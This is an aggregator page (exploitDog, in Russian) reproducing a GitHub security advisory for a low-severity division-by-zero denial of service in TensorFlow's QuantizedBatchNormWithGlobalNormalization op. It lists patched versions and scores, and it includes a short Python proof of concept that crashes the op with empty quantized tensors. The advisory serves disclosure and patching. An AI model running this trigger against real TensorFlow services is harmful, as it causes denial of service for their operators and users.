Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-p45v-v4pw-77jr

Опубликовано: 21 мая 2021
Источник: github
Github: Прошло ревью
CVSS4: 2
CVSS3: 2.5

Описание

Division by 0 in QuantizedBatchNormWithGlobalNormalization

Impact

An attacker can cause a runtime division by zero error and denial of service in tf.raw_ops.QuantizedBatchNormWithGlobalNormalization:

import tensorflow as tf t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8) t_min = tf.constant(-10.0, dtype=tf.float32) t_max = tf.constant(-10.0, dtype=tf.float32) m = tf.constant([], shape=[0], dtype=tf.quint8) m_min = tf.constant(-10.0, dtype=tf.float32) m_max = tf.constant(-10.0, dtype=tf.float32) v = tf.constant([], shape=[0], dtype=tf.quint8) v_min = tf.constant(-10.0, dtype=tf.float32) v_max = tf.constant(-10.0, dtype=tf.float32) beta = tf.constant([], shape=[0], dtype=tf.quint8) beta_min = tf.constant(-10.0, dtype=tf.float32) beta_max = tf.constant(-10.0, dtype=tf.float32) gamma = tf.constant([], shape=[0], dtype=tf.quint8) gamma_min = tf.constant(-10.0, dtype=tf.float32) gamma_max = tf.constant(-10.0, dtype=tf.float32) tf.raw_ops.QuantizedBatchNormWithGlobalNormalization( t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max, v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min, beta_max=beta_max, gamma=gamma, gamma_min=gamma_min, gamma_max=gamma_max, out_type=tf.qint32, variance_epsilon=0.1, scale_after_normalization=True)

This is because the implementation does not validate all constraints specified in the op's contract.

Patches

We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team

Пакеты

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

< 2.1.4

2.1.4

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

>= 2.2.0, < 2.2.3

2.2.3

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

>= 2.3.0, < 2.3.3

2.3.3

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.2

2.4.2

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

< 2.1.4

2.1.4

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

>= 2.2.0, < 2.2.3

2.2.3

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

>= 2.3.0, < 2.3.3

2.3.3

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.2

2.4.2

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

< 2.1.4

2.1.4

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

>= 2.2.0, < 2.2.3

2.2.3

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

>= 2.3.0, < 2.3.3

2.3.3

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.2

2.4.2

EPSS

Процентиль: 2%
0.00015
Низкий

2 Low

CVSS4

2.5 Low

CVSS3

Дефекты

CWE-369

Связанные уязвимости

CVSS3: 2.5
nvd
больше 4 лет назад

TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the op's contract(https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

CVSS3: 2.5
debian
больше 4 лет назад

TensorFlow is an end-to-end open source platform for machine learning. ...

EPSS

Процентиль: 2%
0.00015
Низкий

2 Low

CVSS4

2.5 Low

CVSS3

Дефекты

CWE-369